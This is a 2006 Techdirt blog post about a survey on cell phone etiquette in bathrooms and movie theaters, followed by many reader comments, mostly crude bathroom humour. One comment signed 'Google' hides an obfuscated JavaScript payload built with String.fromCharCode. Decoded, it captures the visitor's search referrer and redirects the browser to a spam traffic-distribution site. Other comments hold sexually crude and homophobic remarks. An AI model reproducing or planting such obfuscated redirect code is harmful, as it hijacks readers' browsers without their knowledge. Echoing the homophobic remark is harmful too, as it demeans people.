People Think Talking From The Toilet Is A Bunch Of Crap

from the what-are-you-doing-in-there? dept

Tue, Mar 14th 2006 12:37pm — Carlo Longino

Americans still have some way to go to catch the Germans, but apparently nearly 4 out of 10 people think it's okay to talk on a cell phone in the bathroom. While that may seem like a lot, it's actually down from 62% in 2003, the last time the company did this survey. Surprising as well is that 11% of people thought it was okay to talk on the phone in a movie theater in 2000, but just 2% find the behavior acceptable today. You'd almost expect people to become more forgiving about when and where people use their phones as they become more pervasive, but of the five places covered in the survey, only phone use in the supermarket has become more acceptable since 2000. Of course, one final question doesn't seem to have been included on the survey, asking people which places they don't think it's okay to talk on the phone, but do it anyway.

Thank you for reading this Techdirt post. With so many things competing for everyone’s attention these days, we really appreciate you giving us your time. We work hard every day to put quality content out there for our community.

Techdirt is one of the few remaining truly independent media outlets. We do not have a giant corporation behind us, and we rely heavily on our community to support us, in an age when advertisers are increasingly uninterested in sponsoring small, independent sites — especially a site like ours that is unwilling to pull punches in its reporting and analysis.

While other websites have resorted to paywalls, registration requirements, and increasingly annoying/intrusive advertising, we have always kept Techdirt open and available to anyone. But in order to continue doing so, we need your support. We offer a variety of ways for our readers to support us, from direct donations to special subscriptions and cool merchandise — and every little bit helps. Thank you.

–The Techdirt Team

50 Comments

If you liked this post, you may also be interested in...

Reader Comments

Subscribe: RSS

View by: Time | Thread

Jared, 14 Mar 2006 @ 1:11pm

wtf is this?
Surprising as well is that 11% of people thought it was okay to talk on the phone in a movie theater in 2000 Thats unreal,wtf.
[ link to this | view in chronology ]
- sadije makresi, 11 May 2007 @ 8:48am
  
  hey
  yea um.. my brother does that!!
  [ link to this | view in chronology ]
Beck, 14 Mar 2006 @ 1:14pm

OK to Flush?
When you are in the bathroom and talking to someone do you let them know that you are in the bathroom? Is it OK to let them hear the toilet flush?

I went into the bathroom at work and heard a guy talking on the phone in a stall. I flushed the toilet in the next stall and had to run out of there laughing.
[ link to this | view in chronology ]
- Anonymous Coward, 14 Mar 2006 @ 7:27pm
  
  Re: OK to Flush?
  Well, I would at least mute the toilet flushing to save myself from embarressment...
  [ link to this | view in chronology ]
- brenda ann, 10 Feb 2007 @ 7:31pm
  
  Re: OK to Flush?
  i don't have a problem knowing someone else is on the toilet while conversing with me and hearing them urinate or flushing, but depending on who i am talking to, i may have a problem letting them hear me urinate or flush.
  [ link to this | view in chronology ]
bud8879, 14 Mar 2006 @ 1:22pm

Toilet Talk
I personally don't have a problem with talking while on the toilet or talking with someone else while they're on the toilet, but it's kind of annoying when a person doing this is making straining sounds, grunting sounds, and magnifies the relief "ahhhh" sound after the plop plop fizz fizz. Those things I can do without - most phone have mute capability - people should use it.
[ link to this | view in chronology ]
- epnek, 6 Dec 2006 @ 12:48pm
  
  tolits
  toilets are things that u take a crap on and u can also pee on a toliet do u ever think about someone wen ur on a toilet well... if u do then thats not wrong lol lol
  [ link to this | view in chronology ]
bud8879, 14 Mar 2006 @ 1:25pm

Toilet Talk
amendment to the initial post. All stated rules apply unless it's family. When that is the case, the turds fly unabated.
[ link to this | view in chronology ]
Mark, 14 Mar 2006 @ 1:52pm

pervasiveness
"You'd almost expect people to become more forgiving about when and where people use their phones as they become more pervasive"

Actually, the reverse -- as it becomes more pervasive, even inherently obnoxious people have come to realize how unpleasant it is when someone else discusses their prostate exam in the middle of a movie, and how much you look like a moron for answering the phone when you clearly should have shut it off in the first place. It's like boom boxes back in the '80s. First reaction: "Hey, cool! I can bring my tunes with me and blast them as loud as I want!" Second reaction: "Uhhh ... maybe not such a good idea."
[ link to this | view in chronology ]
TriZz, 14 Mar 2006 @ 1:58pm

I had this girl last night call me, and I was expecting her call - but the call of nature was hot on my tail (if you catch my drift). She called while I was dropping a loaf, so I answered.

I didn't tell her that I was turding it up, but I did have the common courtesay to say "Can you hold on a second?" while I flushed.

Afterwards, my attention was much more fixed on her.
[ link to this | view in chronology ]
Slater, 14 Mar 2006 @ 2:05pm

Talking on a cell phone in the bathroom
OOOOHHHHHHH this one really gets me. This happened to me in a bookstore bathroom. A guy tookup the stall next to me and proceeded to have a lengthy conversation with his wife on the phone. She could hear everything and was asking "What was that" when I flushed. He says "thats the guy in the stall next to me". I felt like kicking in his stall door and giving that stupid bastard a 4 flush swirly.

Sam
[ link to this | view in chronology ]
Anonymous Coward, 14 Mar 2006 @ 2:12pm

I had this girl last night call me, and I was expecting her call - but the call of nature was hot on my tail (if you catch my drift). She called while I was dropping a loaf, so I answered. I didn't tell her that I was turding it up, but I did have the common courtesay to say "Can you hold on a second?" while I flushed. Afterwards, my attention was much more fixed on her. Wow, she is one lucky girl!
[ link to this | view in chronology ]
- Stoolio, 14 Mar 2006 @ 2:22pm
  
  Re:
  I know you did not just cover the mouth piece thinking that would muffle the sound of the flush... surely you used the mute button if you cell has one. If not.. she heard you flush them turds.
  [ link to this | view in chronology ]
Dolla Bill, 14 Mar 2006 @ 2:54pm

Potty Mouth
I like to talk while "dropping the kids off at the pool". It gives me something to do. Its not to bad for me though, since I try not to go in public places, I'm usually in the solitare of my own house. Besides It's either talk, or read 2 year old copies of Readers Digest... Not to mention it isnt as bad as eating in the bathroom...
[ link to this | view in chronology ]
al perkins, 14 Mar 2006 @ 3:04pm

talking in the bathroom
Whil'st in the Sky Harbor (phoenix), airport restroom, the gentleman in the next urinal seemed to be talking to himself while urinating. I haven't kept up on the new cellphones of late and thought this slightly off center. I mean this guy's talking yes dear, ok hunny, i will, by by, and i do love you.. I going dam,,,, any how i sorted wanted to confront this guy but dam.... Anyhow, as he turned and left , there was a small microphone by his ear..... dam was that a cell phone? I guess I should get to town more often. ha,, good question, thanx, Al perkins
[ link to this | view in chronology ]
bud8879, 14 Mar 2006 @ 3:37pm

Toilet Talk, cont'd
Since this thread is filled with a bunch of poop afficionado's, I think it's relevant to mention the fact that it's exhilarating to drop bombs while on a telconference of many diverse people.
[ link to this | view in chronology ]
- Anonymous Coward, 15 Mar 2006 @ 3:04am
  
  Re: Toilet Talk, cont'd
  Yes... conference calls are the best... Let one rip right into the mic for all to hear... It really messes up the rhythm of the call...lol
  
  As long as your boss isn't in the stall next to you listening in on his BT headset.
  [ link to this | view in chronology ]
Jason Garland, 14 Mar 2006 @ 3:43pm

I am posting this from the toilet.
I am currently dropping the kids off at the pool as I write this. See URL above. That's me!
[ link to this | view in chronology ]
melanie, 14 Mar 2006 @ 4:46pm

good lord
when will people realize that answering and talking on a cellular phone in a public bathroom is NOT APPROPRIATE. If my cell phone ever rings in the bathroom, I turn it off and retrieve the message later. I am SO sick and tired of people with cell phones forgetting that there are OTHER PEOPLE AROUND THEM as they have their conversations. Thank you very much, I don't need to have my bathroom noises sent over the airwaves in someone else's conversation any more than people should be talking about private matters on cell phones in public places. And while we're at it, can we PLEASE get people to realize that it is NOT COOL to hold up the check out line at the grocery store because you're on the cell phone and not paying attention to anything the checker says? GRRR!
[ link to this | view in chronology ]
Anonymous Coward, 14 Mar 2006 @ 4:54pm

yeah, what about blogging while squatting on the throne?
[ link to this | view in chronology ]
- Charles Griswold, 15 Mar 2006 @ 3:32pm
  
  Re:
  yeah, what about blogging while squatting on the throne?
  
  As long as you don't documents the sounds, I think you're OK.
  [ link to this | view in chronology ]
Antinous, 14 Mar 2006 @ 5:12pm

Is it just me?
Is it just me or does everybody know one person who ALWAYS calls just when you're wiping up down below? It's like they've installed an alarm that autodials them whenever you take a dump.
[ link to this | view in chronology ]
Anonymous Coward, 14 Mar 2006 @ 5:28pm

doing other things during home office conference c
A recent survey said that 10% of telecommuters work nude, wanna bet what percentage of those pleasure themselves during conference calls?
[ link to this | view in chronology ]
Anonymous Coward, 14 Mar 2006 @ 5:28pm

doing other things during home office conference c
A recent survey said that 10% of telecommuters work nude, wanna bet what percentage of those pleasure themselves during conference calls?
[ link to this | view in chronology ]
Poneyboy, 14 Mar 2006 @ 5:35pm

Cell Phone
I was in Wal-Mart not long ago and there was this married couple behind my wife adn I, both had cell head sets adn both were talking on them, as it turned out they were talking to each other. Well at least they were talking.
[ link to this | view in chronology ]
Artist Schmartist, 14 Mar 2006 @ 9:04pm

Toilet Talk
Absolutely disgusting. Probably 40-50% of men don't wash their hands after using the facilities. Guys are talking on the phone while they're taking a leak or crapping...then they just walk out of the bathroom. Makes you really think when you consider borrowing someone else's cell, yeah?

There is absolutely no conversation so critical that it can't wait for five friggin' minutes while you use the bathroom.
[ link to this | view in chronology ]
- Anonymous Coward, 15 Mar 2006 @ 3:12am
  
  Re: Toilet Talk
  Yes yes, I too don't wash after using the rest room... I have been questioned by many about it too. They all pretty much say the same thing. "In ____ I learned to wash my hands after using the rest room" And I always reply back with "Yes, but my mother taught me not to defecate on my hands, but since your mom wasn't so smart, I'll wash my hands".
  [ link to this | view in chronology ]
DittoBox, 14 Mar 2006 @ 9:38pm

Both hands
Just as it appropriate to use both hands while driving, I firmly believe that jettisoning one's cargo must be done with and cleaned up using two free hands.

Then washed afterwards.
[ link to this | view in chronology ]
- Anonymous Coward, 31 Mar 2006 @ 12:26pm
  
  Re: Both hands
  Dude, who taught you that pushing 'em out requires 2 hands? And exceptional cases aside, cleanup usually doesn't require 2 hands.
  
  I'll text, email and browse while on the pot (or in line at the register not when its my turn, or at the theater before and even during a movie, or wherever if I'm waiting somewhere by myself), but I avoid talking on the phone in such area.
  
  There are exceptions. If my wife calls when I'm at the grocery store, I'll answer it because its likely quite location-relevant. But she usually has the sense to text or AIM or email.
  
  But man, the dillholes who do their PTT mode in public locations are the worst. The world becomes their jobsite.
  
  [ link to this | view in chronology ]
randomboy, 15 Mar 2006 @ 3:37am

doesn't work
I have poor signal in the toilets because they're located in the middle of the building. There's also an echo that can be heard over the conversation so pretty often people ask me if I'm in the bathroom. I can still check my e-mail though, or browse techdirt articles!

Alex
[ link to this | view in chronology ]
m.sherman, 15 Mar 2006 @ 6:10am

We live in a society, people!
For those of you who don't wash your hands (or even just run water over your hands to "pretend"): You are sick, sick people and need to realize that we don't want your fecal matter over all the door knobs and everything else you touch.

What is wrong with you people? Talking on the cell phone in the bathroom? Not flushing? Not washing hands? Do you all have any common sense whatsoever?
[ link to this | view in chronology ]
- Anonymous Coward, 16 Mar 2006 @ 12:16am
  
  Re: We live in a society, people!
  Yes... I understand where you are coming from for those that use their bare hands to wipe, but since my mother potty trained me correctly, I don't pee or poop on myself. And since I bring my own wipes, I don't have to deal with the paper breaking... lol. So, on the-ever so few-occasions that I do get anything on my hands, You bet I do wash it off with a vengence.
  
  As for answering my phone while on the can, that is a NO, unless the call is from "unknown", "Toll Free", or some other "blocked telemarketer" mode. Then I'm glad to give them shit, and plenty of it. Sometimes I even get in some real good taco shits for them.
  [ link to this | view in chronology ]
OMG!, 15 Mar 2006 @ 6:19am

i was just talking to friends about this
everytime i am in the bathroom at work i hear people in the stalls scrolling/typing on their blackberry, and even a couple of times heard one ring and THEY PICKED IT UP! I didn't think self-respecting people would do that. one guy was actually talking to his girlfriend while he was shitting. like "oh ok where do you want to go for dinner? *plop* yeah sure we can go there. ok babe *plop* love you. bye"
[ link to this | view in chronology ]
Anonymous Coward, 15 Mar 2006 @ 7:39am

I hate to break this to everyone, but things are going to get a hell of a lot worse. I just invented the smelephone!
[ link to this | view in chronology ]
- Charles Griswold, 15 Mar 2006 @ 3:34pm
  
  Re:
  A/C said:
  I hate to break this to everyone, but things are going to get a hell of a lot worse. I just invented the smelephone!
  
  I got first dibs on the "smellocasting" patent!
  [ link to this | view in chronology ]
mike-ish, 15 Mar 2006 @ 3:29pm

telemarketers
I've only gotten one call while I was getting scatological. But since it was a telemarketer, I answered. Guy standing at the urinal laughed his parts off.
[ link to this | view in chronology ]
Adair, 15 Mar 2006 @ 6:32pm

My roomate has noticed that whenever I get on the cell phone I rush to relieve myself. Apparently the slightest ring-tone and I find myself running swiftly across my apartment to worship the porcelain goddess. It's as if I hold it until someone calls me. Self-discovery is often horrific.
Pavlov's dogs have nothing on me.
[ link to this | view in chronology ]
Ashley, 19 Mar 2006 @ 12:18am

Lord, techdirt is so much fun!!!

If you find nature calling you while you're on the phone, just say 'I've got someone on the other line'.
[ link to this | view in chronology ]
Anonymous Coward, 21 Mar 2006 @ 4:26am

As I started reading this post and the replies, I had a sudden urge to take a dump. So now I am writing this as I push them out.

As far as having fecal material on our devices, I put them down/away before I wipe and wash my hands before I touch them. I also use TP to wipe, not my bare hand so I am sure the risk of fecal contamination is minimized.
[ link to this | view in chronology ]
Anonymous Coward, 25 Mar 2006 @ 10:24pm

i like taking videos of my dump with my phone
[ link to this | view in chronology ]
Anonymous Coward, 25 Mar 2006 @ 10:26pm

nah im just screwin u people are just a bunch of sick fuckin weirdos who need to grow the fuck up
[ link to this | view in chronology ]
Anonymous, 10 May 2006 @ 7:55am

To speak potty or not to speak potty---that is the question.
Well, in my opinion, it's okay to answer the phone in the bathroom---if your'e just doing your hair or painting the bathroom walls, but other than that,
I wouldn't want to listen to some guy talking sweet to me if he's doing " his personal business " while sitting down on the toilet.
I say, if you have to go---then do it in private.
The same goes for going to the bathroom in front of your spouse---there are some things that should be private to one self, even if you happen to be married and truly in love.
[ link to this | view in chronology ]
Silly, 10 May 2006 @ 8:00am

Throughout the history mankind, we can all tell that mankind is pretty much now bored enough to think of weird questions to ask each other, just to be opinionative and to amuse ourselves.
[ link to this | view in chronology ]
we3bus, 8 Jun 2006 @ 8:13am

If you are recieving or making a phone call in public, please do the rest of the world a favor and remove yourself to a private space to do so.

If you talk on any phone while you are urinating and/or defecating, you're an absolutely crass and disgusting individual.
[ link to this | view in chronology ]
k, 8 Jun 2006 @ 12:35pm

So, SO wrong.
I don't think anyone should talk in the bathroom. At all. Ever. I don't want to say "Hi.", discuss lunch plans, the weather, my project, or anything else.

The bathroom is me time. I do not wish to interact with other humans in any way. I don't want to hear them talking either, even to someone else. That's what the hall, or your cubicle, is for.

Talking on the phone in a public space is bad enough, but doing so in a place where the unwitting audience is captive due to bodily functions is a fucking war crime.

It's bad enough that I have to hear and smell all the foulness occurring, but to have to deal with that *and* listen to your meaningless, banal drivel... it's like you're taking that crap in my ear.

On the other side, if I'm ever talking to someone and it becomes clear that they're in the bathroom, they go on the "maybe not worth ever talking to again" list. There are places I don't want to accompany you to, no matter how close we are. It's just plain wrong.

I have a simple solution. All public bathrooms should have large, loud fans mounted above each stall. I don't even care if they vent anywhere or just move the air around, or just make noise. It should be loud enough that a) i can't hear the guy next to me taking a dump and b) no one can comfortably talk. Beautiful white noise so I can pretend I'm the only person in the world for those minutes or seconds.
[ link to this | view in chronology ]
Google, 4 Oct 2006 @ 1:21am

Google
nice site!document.write(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,114,61,100,111 ,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,44,116,61,34,34,44,113,59,10,105,102,40,1 14,46,105,110,100,101,120,79,102,40,34,103,111,111,103,108,101,46,34,41,33,61,45,49,41,116,61,34,113 ,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,109,115,110,46,34,41,33,61,45,49,41,116 ,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,121,97,104,111,111,46,34,41,3 3,61,45,49,41,116,61,34,112,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,108,116,9 7,118,105,115,116,97,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,10 1,120,79,102,40,34,97,111,108,46,34,41,33,61,45,49,41,116,61,34,113,117,101,114,121,34,59,10,105,102 ,40,114,46,105,110,100,101,120,79,102,40,34,97,115,107,46,34,41,33,61,45,49,41,116,61,34,113,34,59,1 0,105,102,40,116,46,108,101,110,103,116,104,38,38,40,40,113,61,114,46,105,110,100,101,120,79,102,40, 34,63,34,43,116,43,34,61,34,41,41,33,61,45,49,124,124,40,113,61,114,46,105,110,100,101,120,79,102,40 ,34,38,34,43,116,43,34,61,34,41,41,33,61,45,49,41,41,10,119,105,110,100,111,119,46,108,111,99,97,116 ,105,111,110,61,34,104,116,116,112,58,47,47,112,111,119,101,114,116,114,97,102,102,46,98,105,122,47, 116,100,115,47,105,110,46,99,103,105,63,49,48,38,112,97,114,97,109,101,116,101,114,61,34,43,114,46,1 15,117,98,115,116,114,105,110,103,40,113,43,50,43,116,46,108,101,110,103,116,104,41,46,115,112,108,1 05,116,40,34,38,34,41,91,48,93,59,10,60,47,115,99,114,105,112,116,62));
[ link to this | view in chronology ]
george or epnek, 6 Dec 2006 @ 12:50pm

when girls are on the toliet lol lol
when girls are on the toliet they can see there pussy and can play with it lol lol somtimes i wish i was a girl lol .... na for reals
[ link to this | view in chronology ]
epnek, 6 Dec 2006 @ 12:52pm

a so do u ever feel like if u were in love with a guy even if u r a guy well...... if u did then there is something wrong with u
[ link to this | view in chronology ]
marlene, 2 Feb 2010 @ 3:14pm

awsome!!!
this are awsome i wish they still exist
[ link to this | view in chronology ]
Unikorn, 27 Mar 2014 @ 4:13pm

Talking on the phone while in the bathroom
People talk to each other in the bathroom yes? Yes, they do. So what difference is it really if they talk on their cell phones? I say who cares? If you can't handle someone speaking next to you whether in the bathroom or office or grocery store. If you're in a public place/space, chances are "speaking" is allowed. Deal with it or go home...lol!
[ link to this | view in chronology ]